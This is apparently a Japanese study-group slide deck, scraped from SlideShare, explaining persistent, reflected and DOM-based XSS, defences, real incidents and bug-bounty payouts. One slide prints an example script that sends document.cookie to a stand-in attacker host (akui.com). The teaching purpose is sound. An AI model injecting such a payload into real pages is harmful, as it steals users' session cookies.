SlideShare a Scribd company logo
1 of 9
Download to read offline
セキュリティ勉強会 第3回
XSSについて
XSSって何?
• XSS(クロスサイトスクリプティング)
• 2種類(持続型XSS, 反射型XSS)
• DOMベース型XSSを合わせると3種類だが、反射型XSSの種類の中にDOMベース型
XSSがあってややこしいので、今回の説明では2種類とする
• 攻撃者が送り込んだ悪意のあるコードを実行させられる
• Javascriptだけではないので注意
• Imgタグが使われることも(<img src=“http:~”> </img>)
• 参考: https://owasp.org/www-community/Types̲of̲Cross-Site̲Scripting
持続型XSS
• ずっとこびり付くやつ。掲示板とかで発生する。設置形式。
• サイトの改竄やCookie情報が盗まれるといった被害の発生。
• サーバサイドのコード不備で発生
WEBぺージ
1: javascript設置
2: 掲示板閲覧
攻撃者サーバー
3:Cookie情報の送信
持続型XSS例
• 下記のコードはCookie情報を盗んで、用意したサーバに飛ばさせる
<script type='text/javascript'>
document.location='http://akui.com/stealCookie?cookie=' + document.cookie;
</script>
反射型XSS
• 設置されない。その場で実行。
• 検索、エラーメッセージ等を使ってスクリプトを実行させる
1: URLにXSS仕込んでメールとして送信
WEBぺージ
2: メールのリンクからページへ遷移
3: 検索クエリパラメータのqをサーバ側で処理して
ページとして表示しscriptが発火
(サーバ側からのレスポンスにscriptが含まれる)
Railsのinstance変数とかにscript含まれて実行されたらコレ
http:page.com?q=“スクリプト”
反射型XSS(DOM Based XSS版)
• DOMを使ったXSSのことを DOM Based XSS という。下記はDOM Based
XSSの例。
• 持続型XSSと違ってサーバとの通信が発生しないケースがある
• フロント側のコード不備で発生する
1: URLにXSS仕込んでメールとして送信
WEBぺージ
2: メールのリンクからページへ遷移
3: URLに組み込まれたスクリプトが発火
(サーバ側からのレスポンスにscriptが含まれない)
VueとかReact側に脆弱性があってscript実行されたらコレ
http:page.com?name=“スクリプト”
nameパラメータをサニタイズしないで表示しているページ
XSSの対策
• サニタイジングとして、エスケープ処理の実施
• cookieのHttponlyをtrueにする(緩和策。DOMの参照やAPI呼び出しは防げない)
• バリデーション
• Vueでv-html, ReactでdangerouslySetInnerHTMLを使わない。使うとしても
制限かけて、しっかりテスト。
• HTTPレスポンスヘッダのContent-typeフィールドに文字コードの設定を実施す
る。(UTF-7として解釈された場合、XSSを実行できてしまうブラウザがある。
参考: https://halkichi-web.hatenablog.com/entry/2019/05/04/215125)
• WAFの導入(DOM-Basedは防げないので注意)
• Youtube: デマニュースのポップアップが表示されるように改竄
• Twitter(X) : マウスカーソルを重ねたら自動的にテキストが投稿されるよう改
竄
• Amazon: AmazonのスピーカーAmazon EchoにXSS脆弱性が発生しアプリ
の強制ダウンロードが可能に
• 2020年度(7月~9月)に発覚した脆弱性のうち58%がXSS(参考: https://
www.secure-iv.co.jp/blog/2942)
実際に発生した事例
• Cybouz(kintone, cybouz.com): 10 ~ 40万円
• Cybouz(メールワイズ, Gracoon):5 ~ 20万円
• LINE: 7万円
• Google(アカウントページ): 110万円(URL: https://qiita.com/satoki/
items/de7217d9d6cbbfcb8aba
XSSのバグバウンティ

More Related Content

Featured

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by HubspotMarius Sescu
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTExpeed Software
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsPixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfmarketingartwork
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsKurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summarySpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project managementMindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...RachelPearson36
 

Featured (20)

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 

XSSについて.pdf